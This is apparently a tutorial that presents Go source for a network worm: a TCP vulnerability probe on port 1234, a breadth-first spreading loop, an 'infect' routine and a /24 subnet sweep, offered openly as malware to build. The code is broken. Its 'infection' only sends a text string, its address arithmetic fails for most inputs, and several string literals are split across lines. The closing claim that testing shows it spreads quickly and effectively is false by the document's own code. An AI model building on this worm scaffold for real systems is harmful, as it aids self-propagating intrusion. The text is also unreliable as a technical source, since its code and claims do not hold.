Golang implements worm virus

In recent years, people have paid more and more attention to network security issues, and worms have also become a topic of great concern. Worms spread very quickly and can quickly infect a large number of computers, posing serious security threats to the network. To address this problem, we can use the golang language to write a simple worm to verify its propagation speed and destructive power.

First of all, we need to understand the principle of worm viruses. A worm is a self-replicating and self-propagating computer virus that usually spreads in a computer network. Each time it infects a computer, it spreads its own copies to other computers, thus achieving the propagation effect. Therefore, the core problem of worms is how to infect and spread quickly. Next, we will use golang language to complete this task.

First, we need to write a main function to start the spread of the worm virus. In this example, we will use the TCP protocol for infection. Here, we will use the local host as a starting point and send infection requests to the hosts it is connected to. The initial infection request can be passed to the program as a command line parameter, for example:

go run worm.go 192.168.1.100

In the main function, we need to obtain the parameters entered from the command line, confirm the starting point IP address, and send a Specific request to detect whether it is susceptible, the code is as follows:

func main() {
    if len(os.Args) < 2 {
        fmt.Printf("Usage: %s ip
", os.Args[0])
        return
    }
    ip := os.Args[1]
    fmt.Printf("Starting worm from: %s
", ip)

    // check if target host is vulnerable
    if !isVulnerable(ip) {
        fmt.Printf("%s is not vulnerable
", ip)
        return
    }
    fmt.Printf("%s is vulnerable
", ip)
    
    // start worm
    worm(ip)
}

On this basis, we can write two functions isVulnerable and worm for infection detection and propagation respectively.

The isVulnerable function is used to detect whether the IP address passed in is susceptible to infection. In this example, we assume that the target host listens to a specific TCP port and can respond to user-defined requests, so it can be determined to be susceptible to infection. Therefore, in the isVulnerable function, we need to send a predefined request to the TCP port of the target host to detect whether it is susceptible to infection. If the target host responds to the request correctly, it is judged to be susceptible to infection, otherwise it is judged to be less susceptible to infection. The specific implementation code is as follows:

func isVulnerable(ip string) bool {
    conn, err := net.Dial("tcp", ip+":1234")
    if err != nil {
        return false
    }
    defer conn.Close()

    request := "HELLO
"
    _, err = conn.Write([]byte(request))
    if err != nil {
        return false
    }

    response := make([]byte, 1024)
    n, err := conn.Read(response)
    if err != nil {
        return false
    }

    return strings.HasPrefix(string(response[:n]), "WELCOME")
}

In the isVulnerable function, we use the net.Dial function to establish a TCP connection and send the custom request to the target host. If the connection is successfully established and the correct response is obtained, true is returned, otherwise false is returned.

Next, we need to write the worm function to realize the spread of the worm virus. In this example, we use a simple breadth-first search algorithm to implement propagation. The specific implementation process is as follows:

func worm(ip string) {
    queue := []string{ip}
    visited := make(map[string]bool)
    visited[ip] = true

    for len(queue) > 0 {
        current := queue[0]
        queue = queue[1:]

        fmt.Printf("Infecting %s
", current)

        // infect target host
        infect(current)

        // find new hosts to infect
        hosts := getHosts(current)
        for _, host := range hosts {
            if _, ok := visited[host]; !ok {
                queue = append(queue, host)
                visited[host] = true
            }
        }
    }
}

In this function, we use a queue to save the hosts to be processed. As the program runs, the queue continues to grow, and each time the host at the front of the queue is taken out for processing infection, and at the same time add the host's uninfected neighbors to the queue to continue the infection process.

Among them, the infect function is used to infect the target host:

func infect(ip string) {
    conn, err := net.Dial("tcp", ip+":1234")
    if err != nil {
        return
    }
    defer conn.Close()

    request := "INFECTED
"
    conn.Write([]byte(request))
}

and the getHosts function is used to obtain the uninfected neighbor list of the target host:

func getHosts(ip string) []string {
    hosts := []string{}

    for i := 1; i <= 254; i++ {
        current := fmt.Sprintf("%s.%d", strings.TrimSuffix(ip, ".1"), i)
        if isVulnerable(current) {
            hosts = append(hosts, current)
        }
    }

    return hosts
}

In the getHosts function, we By traversing all IP addresses in the subnet where the current host is located, infection detection is performed one by one. If the IP address is susceptible to infection, it is added to the uninfected neighbor list and returned.

Through the combination of the above codes, we have completed the implementation of the worm virus in the golang language. Through testing and verification, we can easily find that the program spreads very quickly and is very effective. Therefore, in practical applications, we must pay attention to preventing such computer virus attacks, especially the propagation security in the network environment, to ensure the security and stability of the computer system.

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